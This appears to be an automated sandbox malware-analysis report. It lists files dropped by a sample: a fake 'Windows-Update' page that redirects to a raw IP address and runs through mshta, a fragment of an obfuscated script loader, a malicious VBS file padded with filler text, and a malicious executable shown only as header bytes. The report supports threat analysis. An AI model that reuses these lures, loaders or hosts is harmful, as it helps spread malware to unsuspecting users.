Preview:	<html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><meta http-equiv='expires' content=''><script>l1l=document.documentMode\|\|document.all;var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';pHcl5jBGPFb='kmOsd6OpxRj6';</script><script>la0Q6t4=new Array();la0Q6t4[0]='\151\130%34\150\101p%38%35%41S%55O';o4Jfj0q=new Array();o4Jfj0q[0]='.<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C~..D.T.D. .X.H.T.M.L. .1...0. .T.r.a.n.s.i.t.i.o.n.a.l~..E.N."~.~\n.t.p.:~..w~B...w.3...o.r.g./.T.R./.x~\n~..1./~..D~N~P.l.1.-.t~-~/~1~3~5.l...d.t.d.".>.\r.\n.<~W. .x~.~/.=."~=~?~A~C~E~G~I./

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\Windows-Update[1].htm

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	161
Entropy (8bit):	4.980309038898113
Encrypted:	false
SSDEEP:	3:8ROFKGQIeNi1Xbvx9M84JxeCAIuREg7F6nmqDmqTLU4JYyMLDIVAbSWFq:AYSI0MXLxu2CAIuh7FUKq0uYyMLDIVAe
MD5:	DA90A75321A8193233003438B1DAB7A5
SHA1:	8F9F189590A922C4EBE5A735F85435DC362A1130
SHA-256:	DCC1653B695959F3F7B566F53A134C70BA8FF86C107527071E8828CFB94036DB
SHA-512:	EE8972F41FF5321B0F75756009CCD8E4EA69B1C241DF05F6CA29BE9C8A9BCBF06F3B07A24B9874BA666FC9704CC1EFDEE1ADC95EF2B5380C4269792D1F05E600
Malicious:	false
Preview:	<head><title>Document Moved</title></head>.<body><h1>Object Moved</h1>This document may be found <a HREF="http://176.113.115.178/Windows-Update/">here</a></body>

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1owrnfpx.iyo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5g1bk1f5.a1k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5jy5n4mu.yjv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d5giig5l.tmq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esn2ct2u.4ac.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f1zgmkh5.5pc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jtfyoffy.w0r.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n3mn15zf.nvn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njbea1ox.rmv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pof3tnpq.gdd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_taekjzpa.1co.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uygimcjb.mbl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\CMD.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (361), with CRLF line terminators
Category:	dropped
Size (bytes):	28112
Entropy (8bit):	4.483630680408216
Encrypted:	false
SSDEEP:	192:eC8m1myC8m1myC8mYmyC8m3JmyC8mYmyC8m3JmyC8mgdmyC8m1myC8m1myC8m1mu:eIInGnGdIIInGnGB
MD5:	238EC4D17050E1841E8E0171407C2260
SHA1:	2C8C14B257641F1E1151C6303DABDE01621314F2
SHA-256:	163C4066DA47B2E8B7D3690A374C79856417DE2E09C74C0E7C807CD0B5C4B8FB
SHA-512:	3EAA1EBCA8B9AD021342846040FAF19C5EF420C319A9A649B31FFB9107B54D71F60F6E4372E0256F123B931F5C3DD11A34AD9C4CCB7D0A3C687A90BA50CD2102
Malicious:	true
Preview:	..' I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?..'Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple years ago it was like that...'TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself...'First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero...'However

C:\Users\user\AppData\Roaming\LB31.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7679488
Entropy (8bit):	7.744308216067832
Encrypted:	false
SSDEEP:	196608:/UUPSHwaRhOgwVPj04wfOAlM69LJDuHF:dKHwgt+Pov7y
MD5:	C9E6AA21979D5FC710F1F2E8226D9DFE
SHA1:	D881F97A1FE03F43BED2A9609EAE65531CF710CF
SHA-256:	A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
SHA-512:	9E90BCB64B0E1F03E05990CDEAD076B4C6E0B050932ECB953DAE50B7E92B823A80FC66D1FD8753591719E89B405757B2BF7518814BC6A19BB745124D1A691627
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: YSU1PShcKh.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...^n.e.........."..........xT...............@.....................................u...`...................................................U.......S.f... ..............."..............................`"..(................................................... . ..S.......R.................@....rsrc...f.....S.......R.............@....idata ......U.......S.............@... ..8...U.......S.............@...ndryujmp.p!..`...f!...S.............@...tnyudguu............*u.............@....pdata.I............,u.............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\590aee7bdd69b59b.customDesusertions-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.715653226437627
Encrypted:	false
SSDEEP:	48:3uLZQ+CDU2bHKpwwukvhkvklCywVk8YUlUWASogZoR6YE8YUlaASogZoR681:+VQ+CIQ+gkvhkvCCty8YUzHJ8YUcHm
MD5:	2B262E1F8893949F4D819229BD6839A9
SHA1:	23B8CECE7B9DF50CF9AD07D3A81CF976F50D44B3
SHA-256:	F73551A5FF0278A7A8B8EA04AAC26D5A7C6DB7270BB7290ED1DAEAB554268D0A
SHA-512:	E2B296769628D49F6E6AD179272DE5D69BDC5F5C733043A032180BB08CFDE37D035F8E14C1D73614EA407811B74D6F9CFC0EA646734EBFD18C8A4414349A925A
Malicious:	false
Preview:	...................................FL..................F.".. ....'GDj.......MQ..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......bBDj......MQ..OU..MQ......t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.Y.h..........................=...A.p.p.D.a.t.a...B.V.1......Y.h..Roaming.@......EWsG.Y.h..........................t"..R.o.a.m.i.n.g.....\.1.....EWiI..MICROS~1..D......EWsG.Y.h..........................p.q.M.i.c.r.o.s.o.f.t.....V.1.....EW.J..Windows.@......EWsG.Y.h..............................W.i.n.d.o.w.s.......1.....EWuG..STARTM~1..n......EWsG.Y.h....................D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW.I..Programs..j......EWsG.Y.h....................@.....?5..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EWsGEWsG..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EWsG.Y.h................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\N00RQV6J47J9SWHGRYCL.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.715653226437627
Encrypted:	false
SSDEEP:	48:3uLZQ+CDU2bHKpwwukvhkvklCywVk8YUlUWASogZoR6YE8YUlaASogZoR681:+VQ+CIQ+gkvhkvCCty8YUzHJ8YUcHm
MD5:	2B262E1F8893949F4D819229BD6839A9
SHA1:	23B8CECE7B9DF50CF9AD07D3A81CF976F50D44B3
SHA-256:	F73551A5FF0278A7A8B8EA04AAC26D5A7C6DB7270BB7290ED1DAEAB554268D0A
SHA-512:	E2B296769628D49F6E6AD179272DE5D69BDC5F5C733043A032180BB08CFDE37D035F8E14C1D73614EA407811B74D6F9CFC0EA646734EBFD18C8A4414349A925A
Malicious:	false
Preview:	...................................FL..................F.".. ....'GDj.......MQ..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......bBDj......MQ..OU..MQ......t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.Y.h..........................=...A.p.p.D.a.t.a...B.V.1......Y.h..Roaming.@......EWsG.Y.h..........................t"..R.o.a.m.i.n.g.....\.1.....EWiI..MICROS~1..D......EWsG.Y.h..........................p.q.M.i.c.r.o.s.o.f.t.....V.1.....EW.J..Windows.@......EWsG.Y.h..............................W.i.n.d.o.w.s.......1.....EWuG..STARTM~1..n......EWsG.Y.h....................D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW.I..Programs..j......EWsG.Y.h....................@.....?5..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EWsGEWsG..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EWsG.Y.h................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.047094140291289
Encrypted:	false
SSDEEP:	768:eCIyAKP5ceozVTaTalGTmaprcebvhP5/AKP5+E5sVI:cpKPZocckZPWKPx5sS
MD5:	E4EC04D1CAD7F5B2BF2EE4C5CEFC648F
SHA1:	357E244B9F9F98D0E1E312FBADB7B883352DF970
SHA-256:	21A18C89D3592962A97ACEB5D2306CBA7FEED5428B894ECB4DE184BA5B0AFD95
SHA-512:	BA0678892DE34A4992D6422122BF4BABAA9B0FCB17631A5EBC1229B08A9327BE78374A2490F1F64A6B00F2487626656E65FD0D740EF476417C25A6E26EC38584
Malicious:	false
Preview:	ElfChnk.................+.......,...............H....@1.......................................................................<............................................=.......................................................................................................................:...g...............@...........................n...................M...]...........................f...........................................................................6.......................................&...**......+.......$ei.MQ............&...........P..R.Z.H...........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Z............{..P.r.o.v.i.d.e.r...7....=.......K...N.a.m.e.......S.e.c.u.r.i.t.y.C.e.n.t.e.r..A..M...{........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n....

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 308, DIRTY
Category:	dropped
Size (bytes):	112392
Entropy (8bit):	3.748190020018869
Encrypted:	false
SSDEEP:	768:xVUHiapX7xadptrDT9W84lkinVUHiapX7xadptrDT9W84lki:QHi6xadptrX9WPWHi6xadptrX9WP
MD5:	048658A844DBA56C69C5E017F9307B71
SHA1:	D749A05297DDCF30F40C461FA5268EEB9E58C52B
SHA-256:	C13B3CD6186605E209A679B95AAC8DB3B8CFCFE290E8D8FD1A087E22CF066E47
SHA-512:	B12D58C64F681238A96D8A10CFE84C7C2EAEBFECD164C7E51ED676AC1766A19C536D6662C348227A8788FC96E592AFFE16DC2BFF8394796C6C17C29390ACB0F6
Malicious:	false
Preview:	ElfFile.................4....................................................................................................T!.ElfChnk.........5...............5................../w.L.....................................................................V..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.395899590686579
Encrypted:	false
SSDEEP:	384:vhngNDwNAVN/NdNlN5N4NNNs7NMNmNFNoNiNzN2NeYNbMNe7N6vGiN7kFIN1O5yj:vENmkkkWehzqqVvKy9JzWc/Tr4
MD5:	D856B43262F32A03FBBFC7220F487E91
SHA1:	66786F6A43AFBA1FD30F49C2F7F5001B12D2542D
SHA-256:	20484562759D4F8E9BE30BC155F5B80629A9C794A564C3B80826F06F3E780AFF
SHA-512:	5FBDC3678511622F6537F5A046E96B76EE2782DEFCBBF2C404A5A6C60F4B4622A2BA80F13A602A355ECD36C2D4EA53BA1AA7FCCFC0F623C8BD1282FDC8DDB4C9
Malicious:	false
Preview:	ElfChnk......................................i...l..F.H.......................................................................YI.......................................R...=...........................................................................................................................f...............?...........................m...................M...F....................3.......................:..........&.......................}............................\...................7..................*..............4...k.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.255589123230425
Encrypted:	false
SSDEEP:	384:4hnVqVSVCV/VkVCVuVNVTVGVgVUV8VpVEVFVkFVMVxVSVwVYoVcV9V4VWVQVSVnj:4LmYTAIEHl6Mun
MD5:	4398664E2D86836481950AC08FE83499
SHA1:	1F9A404A970CE74A973560F15BBA795337F32BBB
SHA-256:	5A346AD451FBBD4F519F20292F08A9E8BB8496D11BA35064A701E39D96FC738C
SHA-512:	F85F288DAD66ED2FBD8B8060007A9288337FC22E22C615EA525CD2B5F0718A9CEA4327FAFD5F4010CE460147ADF42031CEE9C60D57158B938766E1673E6346FE
Malicious:	false
Preview:	ElfChnk.........D...............D.........................................................................................;...........................................V...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&....................................................)...............................&......**................7.k.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.225866902688725
Encrypted:	false
SSDEEP:	384:Uh8mAmehm5+mdkkmpTiMmwmGmemwmbmKmKmOYmcpm9mmm2mjmTrmlmhmYEmKmDm7:UpkLTi6euYDxJprO+P0zyWD
